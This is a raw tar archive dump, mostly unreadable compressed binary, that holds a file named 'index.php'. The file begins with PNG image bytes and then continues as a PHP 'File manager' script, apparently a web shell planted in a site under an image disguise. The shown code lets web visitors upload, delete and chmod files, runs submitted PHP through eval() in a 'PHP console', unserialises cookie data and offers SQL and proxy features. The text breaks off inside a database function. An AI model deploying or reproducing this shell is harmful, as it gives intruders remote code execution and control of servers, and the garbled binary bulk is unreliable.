ԸVL<G|1W>z\"{42oZN3r2ƈQto(@O&&P^ًm:3.zrOМ#P'mNl8bm-WhmmZVAw$>	-dD67l5smyk.10x!

(%׶[c`xU4$*#W7믡BEVef,WhzD?8[^+d!p5kc|F׿%t%ɣ>"$V4{UXD(uO§X4m`s34J0Z?m8DoځQ3΂7^6<N58'RU
V}>|	 <FgrD7eM#Th|6.Sd(K(uBZH^RUf$g"2LbG 1YWi#sYiHse}go)~~_ُ?[F)ҹX/Bi+7>{YJ%֣cSPVsLuDl0hK^=꤭)2Y^Ov*=$Z\3#^øpĨN
:*dx)t8dJ~2P`jsCr	ew4 ڜhHxyȋh9 4[(0}~vPu/VۉѪCsL+1CsdmD¢
ZKokEI#f'ØfF?@i-dHaJ
!6M* eTJ˄EW(.׊`
]ؑЏugȱ
zhYm< rkSþ@e}!ߠhm
ImbT)L,d*sxT,.iISԂn(_WoѸymJ7uYq)GqO\yؠnf{z=V0tawBcj`,>lTQmƇPuh2#8T)N3n\()sPHf%D,L,&XO(=HmMhї
J5J.UBPcj3M(l{lhC+hyldyUkk:O0\E8PkPQ;Z!C
%PR<pu]İ-W)Gߞ1\	
NUw0Ru54p`#|[Z߸xJmWCܾ9
W19ȇJ=T#VEkj\ZGq MriD90B7T|\n퀎NF9c(7W63yfU!mVbipl2d?fJv-eָTGGv&2DYx?g쟦EܬJ#kRd\E),чGZ2=jB;[AQvz#25Vɔ[uQwe!BdhV\oy?<&,_~{Lyڪ﫫Qx|{Зܩ+ԡN<T/#[Z(زh#cPBIqurspyȳa;ɘ`!+!L=uk
lݠr~%
JHb3;P|AQYj8Ѯj+CB$#T5iҍy&z-'Ot5íI4YYNYj1'm
i2  SW'Oq%nVٙOS*	:o65\ӳ)4U8^=Զr0?(H67CnJ<<+=LDRiX,;)]El4 |xbǭ NXhZJCO/olX<O9ϲ}uMq>z>=uซkKǖ3_';΀igUk1Ymxj	 !mۃX_g+Rܟe޵Rݣod:XsrC
4IJN`}P*KK፟}DxFF-Z&TUoUZoÄ?F6v&BD5;Vv1b9vuH)6iNy\BJ<U%S3YdCʃ?Ӥ<xv5;Ӡ ȑeLT.!C%H1Y|ŕR1ʁgN=xLPx֣II]ep&2GibFXYזZmVuЦǿ:I-Ăz{
L0""LNN
]KrMh&̜'3@1I W
Kǣ&o1x6_~	.FG|I~9̔:tͦe1ұ<+
q}^_/$RC0ÇmrpBͤ:nBwYQޫS'{Xv=NNާ8M1%IV
Ãee qqq_N2,JChJ>WjoS5t1L6%U!~ x#cAJ}Nn@w瞍| rH}o=$N;| ;i}7ucyi ȴ`Ae|}AOc5`^>p%|)6nG<Ƈ<W$4F;zeq(*^X[ϑ󏵖y{SB`+	,AfֳPO:֖DeAq(8=8DF@J(j<h<C+ nA%ïԹ	4">=k##x!`F5Gu,kأިW%cX2bFMLIXHMV;6kL1,)ZZ~Y
GĠ]}KДy&>)PnD0=wȭg:U#~Gkxo;lCEg/sst^s+*ipVsVX)8\9͕ArPzi\jYuJBeusk\GR)-6tP*Z8p8ȴ8+
>ŨCCk-m..#F{fp:RR0_($NHWCѹ
mk6<bt
t*
8
Nm07P$Pڻv2MoPH X8Yq&;h@
\Z+⡆䂵^(RС<ZV lD$'nIpɐ+
g",h{@㳴;/T!o߫(!Z?*<J
9AG"vn"19+vM~5VL[@kie2)wF}4u{~+c[eU)Z!<|A>(ن񞯕/ZV$B<K|˶zg#n:'NL#gJ}plzI(ewǞ#J4&^LsOK=-YOl}_r;"z9˖DԳn/Z')k^
1tQdY=w~Z@ Dnذ~Y6[iAOvz.^1!m!`K>
&`0f+cy ؞y0d|>t*r`(/NOZ	zʱll^4@ƎHNt.Ѥwwm,僳@X)l ʲVj]+x=Y(|xwOZ?(ţi3~Xo=m46D| `xG^<6+]p-W8W=M?BV&NiV9}2ɴ*y6RFS1-1TMwf+f´=9*~1Z@X4V%	yW)$ZPigI7܎f02	|ZU*hǓyӠd#YR3_?hbvaU|jl4%P ,~bvc\YN%k/a"ݓ`%CҖzqypִzVì.lc XQ{2]VI>Om.bz:b	kTn:u&0հ7.[CDhPN
t96D8
̰%d9n\҇BZN9a+Ry8p伎Td/{:3|͑N=U[;SaxĲ3NUZ!g*Zb\LUGx9N΋3!*Ν!DKL=lj/8.`..o.L|VdwZ-OှXC{S鑏fZ9Opj繋PeUW:]t=1V٢Xj|M4|[tbOm2LYäQ[4mɤԼOim>i$͚_Ӂ.ܕB~ԈrSd;1.vIuNWV;gJTuҾP	+Jd1:s1Or}+SsxM(/JC9Q$LG29˕ryCI#o=?2]W*7񅧒wkH;(Wi78>Xq5}8i[~48o;u_~3棬=<Fe>glGjg	(+gjv{:OݝYL&ukr ֦+>fF<`^ejwzm3:عY9/T6FX˩ظ)z95X]pa'^f"yˮMÎgYSV|ruyٖJCY,cgi[vص=ZR:ɜJ$鳞5j9GyrrNHEP(DYf
.=0(sn4ڞ~,9qSgveݞ	mb"}̻"^Ϫ@R%G9oa6ͻF7믌=.(HO,L'$;q,f=p!k6:&}$q13v&sV0HΚbcv	q\~Y[>-Hh{2nkX|g1۝3d1nr
|Dg<feT%SVܐog:<sڵuzMJ3?5h_&'$(ܰƗ<b+;iۼ%2UZqWg(ǜ&Ex]M8j<73=bg:eb=-Eyp8Cg*caFMgUg|2(墂w"ChVGhZ0EkOb-꩗-u܍LV]gGFlU:{?Zx@{V"w=8<2.a4ӉUaزI_gs:
r6_rNlH֘/kKqb/j羹V%(ӎZڔά+G#S8l!`'^ǕyW![:kgS6p3{:r;yͦ'Sm\:.
tL>=tI '@*Ryި]ͰgbF{8]s,v=k&b/T}g6rٚꍜM43لM̜Rk_~5ldxm-KhAi7bq\I}äl]q3ٚCE3*csqs^9/HX5zaWY:VW3v'LxZv%љ+qXRN˚)rl֕<6g\؝@ۼMʸ9͌jiBӶ:hSe<Kf1uCh~xfhO4}iص#OgnɆuJW:¶@yCpVu],Lhb8mDz|Y&T1"{?/b)GŔ5![$3fEgOѬde?uY-#x*P|;}!jzڧgaÍy[o}<v8!4kKn7aքZm	BZ
Y<[	烋f,ӮGBG*'Rѩ,~kѹYldƓ31Tہt+\ɂŌ)g3c$qY.PKsӫ}a֋ts`y>,a&IɡuRœE5Z㳎G|"va*](bZeQϣJE9iLY)!QV2y[.eJtqt;Cgѯ;@fVe>r>zsq=??=ٌEz8LۙX+#k(Q&:/4.EFj99~nF3`3R<Mr8jWKRw5zc﹢֚;TY.MD-v\?VCZȻk!ﮅZȻk!ﮅZȻk!ﮅZȻk!bsAW^qRb.8'N]F*۹nosY6`#x62FJ%R4LlvS$*\N,,׵M>
>u3l<<;}CzgMfpbJ{z^9,W\ey<%xbZSeP'ʡ@:e'DYq=N86iyq)Na,v=LR@-rydkRt
%kg8(dO/Ӯ"cͤBemI@jy<NnF>~]R%&P6§)fIိ*)]s$.>vlQl>tұSlƂæб4X,~ϟOM;=*1ڑRἜKiÍD"&LimNLϞyĤg;TqskTu=>O/Q	V@j4c_?*U{pyuxgeA
Mk۪[XmV~R*!a6e;,1rϒ{G$cS.mZCwx5/-yMs୍(c\
:863S8n,޷ь̸]uϨZy8c(9_NY<Ppԅ3Ttr3B͙^ھ N{*VĹw 7/P EЏdqdlN;gt8שtgR&0v5:;X=m4mִO˧դYc>:6[a.fEdkm;jVf(?~a.0=evgwӂ5unYF9>])觅,5jܠ=@zHE{d'̟lDb|<~6NzU;-?T&c8+nq8~6)1;4mVUp(@oQD_b$r4
;OV%vv,;RSJ Y-=y;zvvx6JE-TƇgބ'lMӵ^<n_55sL#1TJF^x&xuQ/g.|謚CZ`&T-*yOeq#R"l6'VS) Ps@5If&yUU@"C&H6]曝>uzowVx`ˤB08v{\(T.vVIw0HI8{!~ͫu<H/amTt*
PxΧ+bG
q"P-uxLJBmuJX5cE5?z.:6	;zG:gWgRu"sEǝK@bNwJ<7	P,*WSc(ʙ|Ǌ}4Xp8Pn>}0;e%`׻GrdQ|1LIa	=d}S	iߘUImqY{/9{*~7Ca@f]G CWWt@^[ϓX2쫺OtQWprV+mr*rKqGO{ظwznZwoI#(rJW:\OF7Iȱ0Uq&o1~t;	iAA'_<=Bl:d, Y gBJɺa R) V7eM=%ڧ90p|\AMS$zUuyQPD5|,Jr
΢&x[-訟z}QbKغ4P::XRtѮFRi1	>:piE3~zj4,5fE:Ę`a9V>uubǐ8<f-ipM{B	z|z7OKnD׈{iKsZI|Hʈyd4biSn:˧ySBi\EniSr<6jWц|ZAcrx)_=|tSm7#ʓPF'	nP\@\quXK:+i5~"@B7+jHcrZ2=m&(78E]XBե|hZ<gla&`Z&yƄZa=}K75DנXV\MzFLjԤ'KN)3!^?uQL4(]	+v zARc6U%ɋRZlݫjQ 6^gYV{hJH肳޾Mk5$KQ-LY&&yxi+ʨ!Poc4[\	ZL˽k%*R	5ZN%]"KVFge꯻[@wjQvFƥj4dFľ'L4F*	d&HKPVr9Qd6B7 'Ǡ{ї616kNP堬l`wrjVbdhÑ-vUgzHQ兽cBh&nfDUmKXZd(X'UIXh?Oh?'J5ɲwRtm>3贺|ls#<:7 EhAƐҫS'Þ[R{x~2 )#jcx)Rg
-B{>S1V͈4*RCbh1DI(ށxs=Nt.L>0S 
}1#Hz("|>Aa11n=ow]@eZ|LѤ.Q#!4qdza|usuJ#SAV`Zə*8<iJ|ds6k蕄&R޿vY8hT6W.iQnVVTUQKkI{|uϪgN9^e
cL#٢V$M^
LMu[GcN*rMW)tջJ[i&wElHY*i] pZߨ+=;VP,,Q-j͏鈚<5eaŵ(t_kȚ##UTێV
tt9PJ7Bm~|fGzZz=k!t'uXeֿi($ٰV RJPH?#p 
+]0<)_I((0ӻG&vF#lGUτ&xɵ|yʄ#5>D	]6uG{k{	7e+}>UG<\Fk]h͙n&pK8m_K8j6dj_	%ǴDƠt}"ݺ$ѭ]wNW]W^u%SK)bZ xAhznD5FO~
0]ܗT3yNU+@1yۥhkhC!+M?U}nUtcӤyqHG-rYSU:;KMt}Pjb=^J(ʓjmњᳩJW9;X;"?AIh0rĻ!"E (þmz^ؾrVʠM;xũ,<{^sRFTae4QyNl%}A{׵I~Dq	*c	҈Pu@V=c^ծؗWtH  쭼b-y~2Y$7c+Sȵk~WF Un9pnx82(>њk
f0H [eB?hPt9L% #վ,^(747YY?ٴ=nޱ[B@`Dqa{7V\Uj*˷,{۠ͯdnlTYiuA/~@VGաʬ̆__/_E]Td4~I	"kzfNU22^5V1#\c´>76FBJغ@ʯ*Teh ΉV](>իK0йuMUP1qi5ҍ69;'P@ץ"g2#h{ll4t
k&zrRFfp6Z7\AjsWjkmh]n0#$z<C__cZpə;.KVe76#l_Bw@7Q.%cq3FM̌g24nS,-M_1yʻiw;Ob+~vͿ賺w_WsL 'dlmr%[RM|N|)ږۿA_$Ѧ0uKba%H	F@Oqx[PZ*FhWGOi3=rCz|-H)-%
fsDQX 4P|"x{"-Ȯëw
*'MAa0Cur)$qr:YY4yۊP
L)PZps|VaoOT\;)Wu!<
5; 9!yIhVZ4EIӣ
zNI`kwn~<RW>Po<_=xqoǆv-2tEְdxq~^߲EF".ˑK8*"e>)BCܿO!N(AFmΆOn.#b&_| H0Ar84	x6(:?lb)r!U=W"6ToݻS!}4z-wAnH߾KyJj6Ux_7pUSH&BmmMyES"d0cjT:S$z֨WۧGPyyc۬l>ǋ2vP8NŪsưD%."@khavי5#9a؜4~ct5Dg!ߜGM`NV2hƆR {<xdVہ<z;>eD2vzWG#d#spƠS=5RS_eOfp@CW쎍ٍlS9ZydzÅn
BlPbYZmBF֯61@uBlL7VpC2lk\ν2w7CZm-ѕRTmMVJ6zDTJB!<0K"$V
R7%I7-к=Z,<'c==X[ <:x^z6&-wy.^[/1It5y	qvr0qw>(Fѻ0Q<wٷ).ƁuC^+nl>Th-ЩbMIYO6VL>+KW-&nnwW7Ǧ4cZe؟ox56n:~=6\S/8J)cS2e6js#('~I2h'`(ۇ+8*˻活U6ȃҜ^QG6F/5r]ˋ/꨸А9k|3 #ap i
Xa	 ~\tR2~LwL&NkGmCᩎ:n'bA~gDLJ}^Q$$?aY wtK.k"߃R:?ELRNfܥH#J~D)W|#9ZG`hWH(JsY8dhq7rteIs׼Z$i7+cBXU{G=rsiX5VDi+LB3^V52nz}[@IR';쫬d҇PA;* Ty3C!+"Hr#hQYkL!Mb2\
\wX686 WnqPB1hsagrDԨⰌ&-^3)k5rrx=޾	!#ҚMeZZ(̻X9@19fhgLoS+s^`=?61 o-4enmMHXsg@EJxC3踀+qgCrSj~ǿQ1/!Wyui}KH9w11*,>#̦VSd2:YzܧA>]"Q k
=$>!QmTMaC'Z~AFD1k?e.ƨaD._P;OBi>fxd"nZz
w S*T"Tn`做nX`d1Z\ X`xhQ#JJh!KZ&ޮ.}DC):,ڧjIGYx1\ÑrsFY&)
#޶.j,kjKj< /;cw\q]56
E+*Wgsq9Gkhh D<BI"p!Z?Ln>1{~>*X@hA<1gYFDH[ؑH#8Q8M] =W^ʅjTjWb3!4Oyz-Ĭx6O]vМy	잙'Q3h\U1rdƞ>~0k߻1l|L1	6i3ցNē)Ž!SC
O痫TcD8ܒ&QA!ϯIa,.OrG↔@gd̺:Xdb`lkKJX!>?:Zuz7S(`(*49SDb\	:o5dmQ8ʝuz+nkq4Ykܪ&+:4(}*ϒt;6.j;w ;ӥ>+f)*ۑxɠ$*ώGhAB8"9EP$й|!
j[]m$JQI>9PGʅhRU $C]z`@Qϗ"jIhLG ~]W7Dr7r>Nv߄$+hۍ['ۑ̛ÓDKyk[1TZG>݀{323 ,G(ǟ
m`UVs
 B\u\&@	s]Vo1ajwj1RlY 9J|3P;:h(PNŃ:߿V| ,C:ĥ@&8đՏ$-/>b̱<Ik-u CAPե]@̝MFWֱ,M'JZ뜽IL&鹦?)&{g@=o's=C@WK"4Fȥ׹ 6e еx.hVchѽ-zG*9Mmt%𖜀}nATU
Jܹ) Q`WHK392)KrP;eUEF1l.L&wk$p1&?Z5'nN"秚+<nIOM7hǣ*Ifp}7˿wjf0Q}wuܧ<97 ^Uha&+`4,\JRJ:T ցݔNb[`5Ȃ\veӁq R%ond$56d3i=LcEɺ[S֔gwY<r #-N4M-Ӂ*6&4Wi^ަ+mv"bp]a"pWEaDpr]'_o+|u͢+YJyXՏrwuXcZ[X/DXSv~JƧvi\@_Bֻ0c6AT$:=t:\=M}PnX	[?8m'&OD^Uch-{](
/u&aT_~`P/0έ;J˨G܊j Mŵ"f0GW3H\'QQCe~( !<'AneO6Wtcw)TΧ䢽A'
c9&:
d-?cLg`7%	q"lj0dWː<0L.{vCJ5p8̕c@V&XHgk@Un?'rVBA	t/׽׍Wy64֮տ(ICXh	RFCdS]ke0l"781!>j+e]Ks1l`hDMa\8qlBsi2`oOq7d+zWQ{ճjO(QuaYɫB3i԰+LGMP깦;n)|PX>`*9z @|6l.M^aGC_I\ͯddC)_ZZ%&\2Ikr|ZE;ഥx]kǘG/R>eIqi:FlIՂ%Y}A 9E"$6PS)d\I<>Uor i$Q:jOvt}XR=j}U[eGd$>\#R= Z7RXūSJ󂆜8Ut+	uYӮZg$UB(X_>BepʨcMog)\-9#.ԕUdYBDZ5VG$ۤ'6Ud8Tj7Twz(Pݼn=<"Pߔp|`=aFY3@iՅjC4LÈS~QUY{*xNNG,ռZ3
[L渲82/ѭV``6{EPM.%'4;WWt=&Uq>ulk{֖-r`m*j=6ڴ5csSze1QqU2^Գ	0R71t*7&^SڈmSB{aCYkt)S[ŪVQKjjѮnt"ĉ-t׈Ԧŏk%^Ycװ~iGBmʢu+ӗP!wչbحLaO^_*PXKTW9\U_m2ݣP 4moj:=ca0()QTUoרmޮf&ňWWק{ڊj1k2+L".#r2+`)>鬬蘔aXՊ⨯|ۯh|zD,{{+dǻS4ZFQD&YP!oa+̶>@F"#\xj	hNfnHR(O	dC֪[NF#Rْk0>x/DSR(L]
3]8PW?=؞n	덄(Mf)ǻ2	AS1\z6I|Л[A9dQ̘5MH@V2ʒyM^j5"V؜Y?V2{ʌ%Gk-+iE:'ǿg!1I!(Cz<ƒvcXQ.rڞjF4{	uxяF&++أ!*-hI$-@`9ky!"_qh5hMdA.QaIz>Zؔ^1FQ!Wh|QՃEꋢH CrGȤ1*'#xԸRrRR:JTmζ@â{׏t#xcވlƄs2eű P+@}#IBס7ygsQuELeDj^1PamB? m Vo\AkB Ш~md*YYu3YU^A |7ovqDikUwџ#l 2FEh3x`CMu[
o+ͻI؀΃pEW#hk7N}s# mgU%_Mժ:*7׏7SnY:tuy=@OjMW9QOjw{o"k\kyqD^+Ux|М $xuBo_\.Lk[CtkA'fhZxc4uS]|0i(y=32)Xͧ0t4퐄1l57m0S~7Ru׀Z.;*98H6 @4K*)^ ~Wɏan)6;2I|mĩ,SﰷQ}u=Z翥|CwW;Xg jh4gsO,|߽ϻ?Z: @                                                                                                                                                                                                                                                                                                                                                                                                                                                       widget-loader.php.php.tar.gz                                                                        0000644                 00000001122 15243251040 0011766 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Tn@3_0&CRYjK]䦍oq"UE#<sfbz~gM%jEyR)TT])t<gU!hjʫ6	_F+bG|?@ދ~8f731gu-jR3<;66)UAI%0ϐX&ywyI@dx6a 0߸a]%]1o	\BD}}5da]4.6P4yh;^0sLVpj$gnJu#(BM[fW	,8y,vJU D)IDʬ@9r_(^H(++1ǣ84N&)kh+H;fOJ,2/62xa	Y;djٷfEU~2v:k=^WٺUٺ+-C\@M4]AxWTd4pf쐰%JtyG}cߦrlg'R!( 
                                                                                                                                                                                                                                                                                                                                                                                                                                                index.php                                                                                           0000644                 00000234415 15243251040 0006371 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
